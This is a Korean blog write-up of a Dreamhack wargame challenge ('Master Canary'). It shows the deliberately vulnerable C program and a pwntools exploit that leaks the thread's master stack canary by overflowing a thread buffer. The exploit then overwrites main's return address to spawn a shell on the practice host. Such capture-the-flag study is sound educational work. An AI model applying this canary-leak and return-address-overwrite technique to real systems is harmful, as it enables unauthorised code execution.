[Dreamhack] Master Canary

김성진·2022년 7월 18일
0

Dreamhack_System

목록 보기
28/44

뭔가 canary 문제는 그래도 쉬운 감이 있다. overwrite 하거나 leak 하거나 ..


📒 Description & Checksec


📒 C code

📖 master_canary.c

// gcc -o master master.c -pthread
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>

char *global_buffer;

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
    system("/bin/sh");
}

void *thread_routine() {
    char buf[256];

    global_buffer = buf;

}
void read_bytes(char *buf, size_t size) {
    size_t sz = 0;
    size_t idx = 0;
    size_t tmp;

    while (sz < size) {
        tmp = read(0, &buf[idx], 1);
        if (tmp != 1) {
            exit(-1);
        }
        idx += 1;
        sz += 1;
    }
    return;
}
int main(int argc, char *argv[]) {
    size_t size;
    pthread_t thread_t;
    size_t idx;
    char leave_comment[32];


    initialize();

    while(1) {
        printf("1. Create thread\n");
        printf("2. Input\n");
        printf("3. Exit\n");
        printf("> ");
        scanf("%d", &idx);

        switch(idx) {
            case 1:
                if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0)
                {
                    perror("thread create error");
                    exit(0);
                }
                break;
            case 2:
                printf("Size: ");
                scanf("%d", &size);

                printf("Data: ");
                read_bytes(global_buffer, size);

                printf("Data: %s", global_buffer);
                break;
            case 3:
                printf("Leave comment: ");
                read(0, leave_comment, 1024);
                return 0;
            default:
                printf("Nope\n");
                break;
        }
    }
    

    return 0;
}

(1) -> (2) 를 하게 되면 global_buffer는 thread_routine 내의 buf 주소를 가지게 된다.
따라서 canary leak을 할 수 있게 된다. (fs_base + 0x28 주소를 읽어보면 되겠다.)
그 후 main의 ret를 조작해주면 ? "끝 ."


📒 Exploit

📖 exploit.py

from pwn import *

p = remote('host3.dreamhack.games', 22338)

get_shell_addr = 0x400a4a

p.recvuntil('> ')
p.sendline(str(1))
p.recvuntil('> ')
p.sendline(str(2))

p.recvuntil('Size: ')
p.sendline(str(0x8e9))
p.recvuntil('Data: ')
payload = 'A' * 0x8e9
p.send(payload)
#p.interactive()

p.recvuntil('Data: ' + payload)
canary = u64('\x00' + p.recvn(7))
print('canary : ' + str(hex(canary)))

p.sendline(str(3))
p.recvuntil('Leave comment: ')
payload = 'a' * 0x28
payload += p64(canary)
payload += 'a'*8
payload += p64(get_shell_addr)

p.send(payload)

p.interactive()
profile
Today I Learned

0개의 댓글